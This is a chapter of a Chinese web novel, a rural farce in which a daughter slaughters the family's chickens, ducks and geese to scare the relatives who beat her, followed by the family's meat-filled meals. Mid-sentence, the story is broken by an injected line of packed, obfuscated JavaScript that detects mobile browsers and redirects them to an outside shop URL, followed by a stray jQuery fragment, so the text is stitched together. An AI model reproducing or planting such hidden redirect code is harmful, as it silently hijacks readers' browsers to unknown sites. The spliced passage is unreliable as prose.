清早,鸡叫三遍,季海涛醒了。
每天凌晨5点,能搜到中央台的文艺广播台。
这个电台内容可丰富了,京剧越剧评剧、民族乐革命歌曲,还有文学朗读,季海涛每天雷打不动的早起收听。
季海涛靠在床上,熟练的将旋钮调到文艺电台,今天的节目是琵琶曲《十面埋伏》。
琵琶声起,一缕极细的泛音钻出来。
开场寒角裂空,大军初醒。弹挑声如风卷战旗,甲胄摩擦。
随后节奏慢慢收紧,金戈撞碎,血浸征袍。
绞弦锐响是刀剑相撞,双弦滚奏是呐喊嘶鸣,声声煞弦是兵器刺进血肉,尖锐粘稠。
紧张刺激,听得季海涛后颈发紧。
最后一声泛音落下,像一片雪落在乌江江面上,悄无声息。
一曲听完,耳朵里回荡着扫弦的余震。
号角、厮杀、呜咽……
季海涛心潮澎湃,仿佛自己上了一趟战场,一呼百应,所向披靡。
楚霸王一般“力拔山兮气盖世”!
“季霸王”抱着收音机,躺在床上看着横梁,缓了好一会儿。
缓过来后,天也破晓了。
季海涛关掉收音机,小心地放在床头的桌子上,下床套上裤子,准备去后院撒个尿。
今天见了包含秀,要好好给她讲一出《十面埋伏》!
季海涛元气爆棚,哼着刚听的曲子拉开门——
蓦地,他瞪大了双眼。
晨曦薄雾的院子里,横七竖八躺着两只鸡、三只鸭,还有几只血淋淋的大白鹅。
季初萤坐在竹椅上,一动不动,转过头看见他,还对他笑了下,露出一口白牙。
“啊啊啊啊啊啊啊啊啊!!!”
季海涛裤.裆一热,胸腔里爆发出有史以来最高音,比他在广播里听到的歌唱家李谷一的声音还高。
“啊啊啊啊啊!妈啊!!啊啊啊!”
“季霸王”吓哭了。
他两条腿软得一塌糊涂,连滚带爬地爬到堂屋门口,趴在地上疯狂拍门,“爹啊!救命啊!!”
惨叫声引得整个土墩生产队的狗,都跟着汪汪汪叫了起来,这家的叫完,那家的叫。
也算是一种一呼百应。
莫桂兰跟季海龙被吵醒了,先开了门。
刚走出屋子,就见院子里,这里一片血印,那里一片血印,季初萤面无表情拿着刀,季海龙屁滚尿流往前爬。
两口子还以为是季初萤在追杀季海涛,顿时吓得抱在一起尖叫起来。
这真是土墩大队最热闹的一个早上,鸡叫,狗叫,人叫,此起彼伏。
季初萤掏掏耳朵,抬眸看了两人一眼,那双淡漠的眸子,没有一丝丝情绪,完全不像一个活人。
莫桂兰白眼一翻,软软地瘫在了地上。
季海龙在“扶莫桂兰”还是“救季海涛”之间犹豫不决,最后干脆关上门,自己躲在屋子里了。
季老实披着衣服起来,拉开堂屋门,季海涛鼻涕一把泪两行,看见季老实,两只手死死抱住他的腿:“爹!”
季老实一脚踢开他:“大清早的你嚎啥?睡不着就听你的破收音机去!”
季海涛颤颤巍巍地指院子。
“啊!”凌素云在季老实身后捂着嘴尖叫出声。
季初萤手里拿着带血的菜刀,莫桂兰无声无息地躺在院子里,季海涛又吓成这个鬼样子。
季初萤站在院子中央,视线跟季老实遥遥对撞。
季老实忽然感觉毛骨悚然,这张脸,竟然没有往日季初萤的一丝影子。
就好像一个完全陌生的人。
尽管他吓得半死了,还是强撑着斥责:“季初萤!你干了什么?!”
凌素云也在季老实背后,心惊胆颤地问:“你这丫头,你发什么神经啊?”
季老实不敢靠近,保持着安全距离,手还防备地扶在门上,确保万一季初萤突然拿着刀冲过来,他能及时关门。
忽然,院墙上跳下一个人,步伐又大又稳,快速靠近季初萤。
季家院子里的惨叫声,惊动了隔壁的霍驰,他翻身下床,疾步跑到季家大门口,推了几下门没推开,只好双手一撑跃上墙头。
刚上来,就看见满地狼藉,季初萤拿着把刀站在院子里,霍驰顾不得其他,直接跳了下来。
季老实看清来人,仿佛看见了救星,叫道:“霍驰,你快把她手里的刀夺下来!”
霍驰上前,捉住季初萤的手腕,想要把菜刀拿下来。
季初萤一愣:【你掺和啥啊】
【事情都是因你而起知道不?】
霍驰:“?”
什么叫因他而起?
季初萤一身血腥味,那张刚才还面无表情的脸,忽然有了表情。
她牵动唇角,对着季老实和凌素云粲然一笑:“爹,娘,我这样够孝顺了吗?”
什么?
季老实和凌素云傻眼了。
她脸上都是血,这么笑,真的很瘆人啊!!!
躲在屋里的季海龙,看着那张脸,感觉自己也要尿裤子了。
季初萤轻挑嘴角,月眸清甜:“我杀个鸡鸭而已,你们这么害怕干嘛?”
众人:“……”
这么大的阵仗,很难不让人害怕好吗!
季海涛反应过来,趴在地上怒叫:“季初萤,你你你有病啊!杀它们干嘛!”
吓得他都尿裤子了!
季初萤安之若素:“表现表现我的孝心啊!”
季海涛:“……”妈的有病。
季初萤:“爹!娘!看我给你们打下的鸡鸭山!”
季老实好像被雷劈开了天灵盖:“……”
神经啊!她真的神经啊!
崩溃啊!我真的崩溃啊!
季初萤在心里恶劣地笑:【嘿嘿嘿,就是要吓死你们,下次再敢打我,刀下亡魂可就不是鸡鸭鹅了】
霍驰侧目:季家人打她了?
怪不得。一定是被逼急了,才拿刀保护自己。
霍驰软了嗓音:“把刀给我,好吗?”
季老实:TM的没眼看,但不敢说。
季初萤:“这刀上都是血,你拿它干嘛。”说着扔水井边去了。
季老实一看季初萤把刀扔了,危险性降低,直接一个弹射起步,冲了过去。
死丫头,看我今天不打死你!
“爹!你真是无情啊!做女儿的这么孝顺,杀鸡给你吃,你多有福气啊!还要揍我!?”
季初萤灵活闪现。
季老实的老胳膊老腿根本追不上,连她的衣服边都摸不着。
凌素云趁着混乱,掐着莫桂兰的人中,把她掐醒了。
季海涛爬回屋里换裤子,都怪季初萤!好丢人啊!可千万别被包含秀知道了!
“季叔,有话好好说……”霍驰想拦,季老实鸟都不鸟他,一味地追季初萤。
莫桂兰无语地想:傻缺,你看季初萤那个样子,需要你来保护吗?
凌素云拉过霍驰:“好孩子,你快回家吧,他们父女俩的事你别管了,再误伤了你!”
霍驰再在这里待着,老季真要气出病了!
凌素云赶紧把霍驰推回了他自己家。
见霍驰回来,张春华迎上来,担心地问:“季
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17651963|205878||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
家怎么了?出什么事了?”
霍驰:“杀鸡。”
张春华:“杀鸡?”
这么大动静,鬼哭狼嚎的,还以为杀人呢。
.
季老实到底是没追上季初萤,连她一根汗毛都没碰到。
她比池塘里的泥鳅还难抓。
经此一遭,季老实是真气着了,胸闷气短,上不来气。
他卧床不起,捂着胸口嗨哟嗨哟。
季初萤:“爹,我给你炖鸡汤喝?”
季老实:“你给老子滚!”
季初萤:“那可不是我不孝顺噢。”
季老实继续捂着胸口,嗨哟嗨哟。
凌素云跑卫生所,把村医张跛脚喊来给季老实瞧病。
张跛脚仔细诊断后给出结论:“管理情绪,避免激动,规律作息,适度运动。”
季老实喘着短促的气:“说人话!”
张跛脚皱眉:“你看你这样就不行,老生气干啥子?对恢复不利。”
凌素云:“要开药吗?”
张跛脚:“适当补充点营养就行了。”
季初萤:“就说我杀鸡杀得及不及时吧,简直是未卜先知。”
凌素云:“……”
接下来,家里顿顿有肉,想不补充营养都难。
现在天热,又没有冰箱,杀了的鸡鸭鹅放不了太久,只能赶快吃掉。
季老实捂着胸口,面容扭曲:“你给我滚出去啊!”
季初萤:“好咧!我听爹的!我真是个听话的小女孩。”
季老实:“……”
噗啊!简直想要吐血啊!
必须得把季初萤这个孽障给嫁出去,尽快嫁出去!
莫桂兰把两只鸡剖开肚子,一边心疼,一边掏出鸡肚子里未成形的蛋子卵黄,炖了一锅。
一家人吃得老香了。
中午,炖了一锅鸭肉。
晚上,铁锅炖大鹅。
剩下的不好保存,凌素云跑供销社买了好几斤粗盐,腌上能保存个三五天。
第二天,继续吃肉,大快朵颐。
莫桂兰跟着吃美了,现在都有点想拥护季初萤了。
这两只该死的鸡,终于死了。
死得好啊!死得太好了!
以前这两只鸡下蛋,莫桂兰也吃不着,鸡蛋都是季老实、季海龙、季海涛他们父子仨的。
现在鸡死了,都有肉吃!
说真的,莫桂兰现在对季初萤的感情有点复杂,既有点怕她,又有点崇拜她。
季初萤竟然能躲过季老实的雷霆怒火,安然无恙。
趁凌素云上屋给季老实喂饭,莫桂兰小声问季初萤:“要不要给隔壁送点?”
季初萤用牙撕下一块鸡腿肉:“?”
莫桂兰什么时候这么会来事儿了。
莫桂兰:“……上次,人家都给咱送红烧肉了。”
季海涛:“哕——能不能别提红烧肉了。”
好不容易忘了。
季初萤安慰他:“没事,鸡屎的主鸡已经被你吃了。”
季海涛:“……”
季海龙冷冷地哼了一声,骂莫桂兰:“吃肉也堵不上你的嘴!要得着你操心?”
这么好的东西,为什么要给别人送?谁有好东西不藏着吃?
他们霍家愿意往外送,那是他们傻X!
季初萤夹起一块鸭肉:“哥,你知道我为什么杀公鸭同志吗?”
季海龙投来冷眼,因为你脑子有病。
季初萤微笑:“因为它对母鸡同志骂骂咧咧。”
“……”
听懂的都沉默了。